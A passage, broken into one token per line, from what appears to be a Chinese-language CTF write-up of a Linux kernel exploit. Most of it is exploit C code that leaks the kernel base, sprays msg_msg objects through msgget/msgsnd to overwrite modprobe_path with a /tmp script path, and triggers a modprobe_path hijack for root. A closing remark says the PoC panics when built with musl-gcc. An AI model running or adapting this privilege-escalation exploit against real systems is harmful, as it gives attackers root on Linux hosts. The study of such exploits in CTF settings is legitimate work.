],tmp_buf,
0xe00
,
0
)<
0
)
{
RED puts(
"[*]Leak error!"
); CLOSE
}
/
/
leak(tmp_buf,
0xd00
);
kernel_base
=
tmp_buf[
0x7e8
/
8
]
-
0x103ed80
;
size_t pipe_addr
=
tmp_buf[
0x3e0
/
8
]
+
0xc00
;
BLUE printf(
"[*]Kernel_base: 0x%llx\n"
,kernel_base); CLOSE
BLUE printf(
"[*]pipe_addr: 0x%llx\n"
,pipe_addr); CLOSE
close(pipe_fd[
0
][
0
]);
close(pipe_fd[
0
][
1
]);
/
/
size_t push_rsi_pop_rsp
=
real(
0xffffffff81934056
);
/
/
push rsi; pop rsp; retf;
/
/
size_t push_rsi_pop_rbp
=
real(
0xffffffff81422d1f
);
/
/
push rsi; pop rbp; ret;
/
/
size_t call_rsi_leave_ret
=
real(
0xffffffff81c0114d
);
/
/
call rsi; nop; nop; nop; leave; ret;
size_t modprobe_path
=
real(
0xffffffff82a6c000
);
memset(fake_ops_buf,
0x61
,
0x800
);
fake_ops_buf[
0x200
/
8
]
=
modprobe_path
-
0xc0
;
add(
"Lotus_chunk"
);
edit(
0
,
0x208
,buf2);
for
(
int
i
=
1
; i <
0x3
; i
+
+
)
{
ms_qid[i]
=
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
if
(ms_qid[i] <
0
)
{
puts(
"[x] msgget!"
);
return
-
1
;
}
}
size_t modprobe_path_buf[
0x80
];
memset(modprobe_path_buf,
0
,
0x400
);
int
idx
=
0x34
;
modprobe_path_buf[idx
+
+
]
=
real(
0xffffffff82a6c108
);
modprobe_path_buf[idx
+
+
]
=
real(
0xffffffff82a6c108
);
modprobe_path_buf[idx
+
+
]
=
0x32
;
modprobe_path_buf[
0
]
=
0xdeadbeef
;
modprobe_path_buf[
0x13
]
=
0x746f4c2f706d742f
;
modprobe_path_buf[
0x14
]
=
0x68732e7375
;
for
(
int
i
=
1
; i <
0x3
; i
+
+
)
{
int
ret
=
msgsnd(ms_qid[i], modprobe_path_buf,
0x400
-
0x30
,
0
);
if
(ret <
0
)
{
puts(
"[x] msgsnd!"
);
return
-
1
;
}
}
RED puts(
"[*]edit modprobe_path success."
); CLOSE
modprobe_path_hijack();
}
但是奇怪的是,按理来说两种编译方式不会对poc
造成影响,gcc的可以正常运行,而musl-gcc
在modprobe_path_hijack
后,第一次调用system
时,内核会panic在slub里。